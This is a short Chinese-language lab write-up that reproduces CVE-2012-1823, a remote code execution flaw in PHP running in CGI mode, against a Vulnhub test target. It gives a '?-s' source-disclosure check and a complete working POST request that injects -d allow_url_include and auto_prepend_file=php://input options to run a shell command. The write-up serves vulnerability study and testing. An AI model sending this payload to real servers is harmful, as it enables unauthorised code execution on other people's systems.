PHP系列漏洞–CVE-2012-1823_PHP-CGI远程代码执行漏洞
漏洞简述
CVE-2012-1823就是php-cgi这个sapi出现的漏洞,我上面介绍了php-cgi提供的两种运行方式:cgi和fastcgi,本漏洞只出现在以cgi模式运行的php中。
准备环境
启动Vulnhub靶机环境:
![]()
验证靶机应用启用成功:

漏洞复现
在url处输入:IP:8080/index.php?-s 若出现源码,说明存在漏洞。

POC:
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: example.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
<?php echo shell_exec("id"); ?>

漏洞利用成功








